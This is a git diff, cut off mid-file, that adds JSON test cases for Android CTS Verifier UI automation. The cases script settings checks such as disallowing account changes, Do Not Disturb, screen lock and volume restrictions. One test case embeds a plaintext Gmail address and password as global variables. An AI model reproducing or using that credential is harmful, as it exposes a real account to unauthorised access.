diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0c73b50f-d48d-4082-a091-3d4f55f77369 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0c73b50f-d48d-4082-a091-3d4f55f77369
new file mode 100644
index 0000000..ebf3f48
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0c73b50f-d48d-4082-a091-3d4f55f77369
@@ -0,0 +1 @@
+{"uuid":"0c73b50f-d48d-4082-a091-3d4f55f77369","details":"{\"type\":\"CompoundAction\",\"name\":\"15-13 &amp; 17-06-05-Disallow modify accounts test\",\"actionId\":\"0c73b50f-d48d-4082-a091-3d4f55f77369\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow modify accounts\",\"actionId\":\"244a1c64-27a3-4526-a0a6-3973cb95be8a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow modify accounts\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6df47111-9120-4036-ae5f-83649d7f024b\",\"displayText\":\"Disallow modify accounts\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow modify accounts\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":415.3333333333333,\"x2\":360.0,\"y2\":459.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":93.0,\"y\":434.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":87.0,\"y\":2.8333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"6df47111-9120-4036-ae5f-83649d7f024b\",\"firstText\":\"Disallow modify accounts\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow modify accounts\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":2.0,\"y1\":422.0,\"x2\":184.0,\"y2\":447.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow modify accounts\",\"actionId\":\"a778fd90-3724-4503-9c18-003c7e94b216\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow modify accounts\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, $uicd_Gmail_account\",\"actionId\":\"97a7d2af-cc69-455c-a4f0-1959bc04c0aa\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"$uicd_Gmail_account\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Remove account button\",\"actionId\":\"c075016f-6cb5-4970-bd66-29a07e3c272e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"292f3051-b703-4136-a374-70b3301dd960\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"02d51183-f0a9-4aac-8dfe-7a178e8bf2ed\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Add account\",\"actionId\":\"4ac9a4e6-504c-42ef-bf58-303c84c47bfe\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Add account\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c19e5cff-93fb-46e4-9e2d-162c911ffea9\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"9311a1db-c87b-48f5-8b3b-71daf4566707\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, $uicd_Gmail_account\",\"actionId\":\"1a7e00e5-113a-4c1b-b209-09241250c3f2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"$uicd_Gmail_account\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,Remove account button\",\"actionId\":\"59838379-2736-47af-abae-086402eafe1a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, yes remove button\",\"actionId\":\"e987e49e-a1d5-43fb-9636-0c8c3cafc762\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"6329722c-2d0f-4009-8fd9-fffa6091d6bc\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"244a1c64-27a3-4526-a0a6-3973cb95be8a\",\"a778fd90-3724-4503-9c18-003c7e94b216\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"97a7d2af-cc69-455c-a4f0-1959bc04c0aa\",\"c075016f-6cb5-4970-bd66-29a07e3c272e\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"292f3051-b703-4136-a374-70b3301dd960\",\"02d51183-f0a9-4aac-8dfe-7a178e8bf2ed\",\"4ac9a4e6-504c-42ef-bf58-303c84c47bfe\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"c19e5cff-93fb-46e4-9e2d-162c911ffea9\",\"9311a1db-c87b-48f5-8b3b-71daf4566707\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"1a7e00e5-113a-4c1b-b209-09241250c3f2\",\"59838379-2736-47af-abae-086402eafe1a\",\"e987e49e-a1d5-43fb-9636-0c8c3cafc762\",\"6329722c-2d0f-4009-8fd9-fffa6091d6bc\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_Gmail_account=playinstallapk02@gmail.com,\\n$uicd_Gmail_account_password=@DoubleCare20,\"}}","name":"15-13 &amp; 17-06-05-Disallow modify accounts test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.139000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0c8249de-dac1-4b3c-852d-cfc4fbbfefbb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0c8249de-dac1-4b3c-852d-cfc4fbbfefbb
new file mode 100644
index 0000000..f52768a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0c8249de-dac1-4b3c-852d-cfc4fbbfefbb
@@ -0,0 +1 @@
+{"uuid":"0c8249de-dac1-4b3c-852d-cfc4fbbfefbb","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn off Do not disturb on quick setting\",\"actionId\":\"0c8249de-dac1-4b3c-852d-cfc4fbbfefbb\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if Do Not Disturb is on\",\"actionId\":\"d98ea931-de1e-437f-8288-0bd32dccf1bf\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"contains\",\"value\":\"Do Not Disturb\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"On\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Do Not Disturb\",\"actionId\":\"f12121b8-548c-44d1-b304-0c00edf25016\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Do Not Disturb\"}],\"childrenIdList\":[\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"d98ea931-de1e-437f-8288-0bd32dccf1bf\",\"f12121b8-548c-44d1-b304-0c00edf25016\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn off Do not disturb on quick setting","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.979000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0cd14890-b229-4bdf-a5e5-0e86f7805dfe b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0cd14890-b229-4bdf-a5e5-0e86f7805dfe
new file mode 100644
index 0000000..fb287a5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0cd14890-b229-4bdf-a5e5-0e86f7805dfe
@@ -0,0 +1 @@
+{"uuid":"0cd14890-b229-4bdf-a5e5-0e86f7805dfe","details":"{\"type\":\"CompoundAction\",\"name\":\"New_16-1_Cross profile intent filters are set\",\"actionId\":\"0cd14890-b229-4bdf-a5e5-0e86f7805dfe\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Cross profile intent filters are set\",\"actionId\":\"5dc16d23-571e-4859-aafc-e53eb97d712f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Cross profile intent filters are set\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"60dc46e2-66b4-49fd-97d2-7137ca46c19d\",\"displayText\":\"Cross profile intent filters are set\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Cross profile intent filters are set\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":559.0,\"x2\":360.0,\"y2\":603.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":123.0,\"y\":580.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":57.0,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"60dc46e2-66b4-49fd-97d2-7137ca46c19d\",\"firstText\":\"Cross profile intent filters are set\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Cross profile intent filters are set\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":241.0,\"y1\":593.0,\"x2\":5.0,\"y2\":567.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Cross profile intent filters are set\",\"actionId\":\"7dcacc7b-c2c6-48ad-a225-f3a9dff2811e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Cross profile intent filters are set\"}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"5dc16d23-571e-4859-aafc-e53eb97d712f\",\"7dcacc7b-c2c6-48ad-a225-f3a9dff2811e\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"New_16-1_Cross profile intent filters are set","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.323000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7
new file mode 100644
index 0000000..b31fd4e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7
@@ -0,0 +1 @@
+{"uuid":"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Screen lock setting page\",\"actionId\":\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find Security\",\"actionId\":\"48741c3f-c73c-458c-b6d2-abed557aabc9\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Security\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"7494ee3a-2fcc-4bbe-8213-4e8f0b9a92c1\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a7b242ba-bbcc-4bf2-867f-0b689e091d66\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e6904c46-7f78-4942-a0fe-f753bed92ef0\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":226.0,\"x2\":45.5,\"y2\":257.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":222.5,\"x2\":63.0,\"y2\":261.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"904d9e00-25ba-4c05-bbfb-3e5a3a1f515a\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b625662e-e7d4-4b98-85d4-ec11d791d0b0\",\"displayText\":\"Security\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Security\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":224.0,\"x2\":115.5,\"y2\":243.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.25,\"y\":-0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Security\"},{\"uuid\":\"e5bf4838-7d20-4f63-a281-c5cc978a147b\",\"displayText\":\"Play Protect, screen lock, face unlock\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Play Protect, screen lock, face unlock\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":243.0,\"x2\":265.75,\"y2\":259.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Play Protect, screen lock, face unlock\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":210.0,\"x2\":346.0,\"y2\":273.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Security\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":210.0,\"x2\":360.0,\"y2\":273.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":93.5,\"y\":234.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":86.5,\"y\":7.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"b625662e-e7d4-4b98-85d4-ec11d791d0b0\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Security\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":66.0,\"y1\":222.0,\"x2\":121.0,\"y2\":246.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Security\",\"actionId\":\"300c0070-f81b-4a1a-bb05-98ae7678bd53\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Security\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Screen lock\",\"actionId\":\"2a07959c-6c7f-4ef7-86c9-5d0bade83b3b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Screen lock\"}],\"childrenIdList\":[\"48741c3f-c73c-458c-b6d2-abed557aabc9\",\"300c0070-f81b-4a1a-bb05-98ae7678bd53\",\"2a07959c-6c7f-4ef7-86c9-5d0bade83b3b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Screen lock setting page","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.037000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e190c32-3e45-4bd4-8d81-8eab2da1758e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e190c32-3e45-4bd4-8d81-8eab2da1758e
new file mode 100644
index 0000000..ea2503a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e190c32-3e45-4bd4-8d81-8eab2da1758e
@@ -0,0 +1 @@
+{"uuid":"0e190c32-3e45-4bd4-8d81-8eab2da1758e","details":"{\"type\":\"CompoundAction\",\"name\":\"Random select 2 lock type\",\"actionId\":\"0e190c32-3e45-4bd4-8d81-8eab2da1758e\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Random select 2 lock type\",\"actionId\":\"945f92d2-d735-410d-bc53-fb4d4aca9272\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nimport random\\n \\nd= Device.create_device_by_slot(0)\\n \\nresult1 = random.randint(1, 2)\\n \\nif result1 == 1:\\n    d.text(\\\"Password\\\").click()\\nelse:\\n    d.text(\\\"PIN\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"945f92d2-d735-410d-bc53-fb4d4aca9272\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Random select 2 lock type","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.260000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e30ea6e-be38-468e-8499-790b05a37760 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e30ea6e-be38-468e-8499-790b05a37760
new file mode 100644
index 0000000..63729e3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0e30ea6e-be38-468e-8499-790b05a37760
@@ -0,0 +1 @@
+{"uuid":"0e30ea6e-be38-468e-8499-790b05a37760","details":"{\"type\":\"CompoundAction\",\"name\":\"15-02 &amp; 17-06-01-Disallow adjust volume test\",\"actionId\":\"0e30ea6e-be38-468e-8499-790b05a37760\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow adjust volume\",\"actionId\":\"7a30e7f9-6d0b-46b5-bbb1-4920d9c8ccc3\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow adjust volume\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"89b8fd6a-f53b-40e6-8577-0a1b83f5e8de\",\"displayText\":\"Disallow adjust volume\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow adjust volume\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":118.33333333333333,\"x2\":360.0,\"y2\":162.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":83.0,\"y\":140.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":97.0,\"y\":0.3333333333333428,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"89b8fd6a-f53b-40e6-8577-0a1b83f5e8de\",\"firstText\":\"Disallow adjust volume\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow adjust volume\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":125.0,\"x2\":159.0,\"y2\":155.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow adjust volume\",\"actionId\":\"d78abf8a-60d2-4062-8d7e-af6ace440656\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow adjust volume\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Media volume\",\"actionId\":\"a67dd39b-313d-46d7-afda-f6547143367d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Media volume\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f827f6ad-6a55-45e3-b661-7dd5b10fcc3d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Call volume\",\"actionId\":\"eecca841-c974-45ad-b750-ecd109b79b24\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Call volume\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c56dbf21-2baf-4c78-8a38-ce2b5929111d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Ring & notification volume\",\"actionId\":\"07f4e26a-9ac8-42f6-90fd-b4fb59303443\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Ring & notification volume\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"893e2e2e-c9eb-46ee-bc89-7710fcd87c2e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Alarm 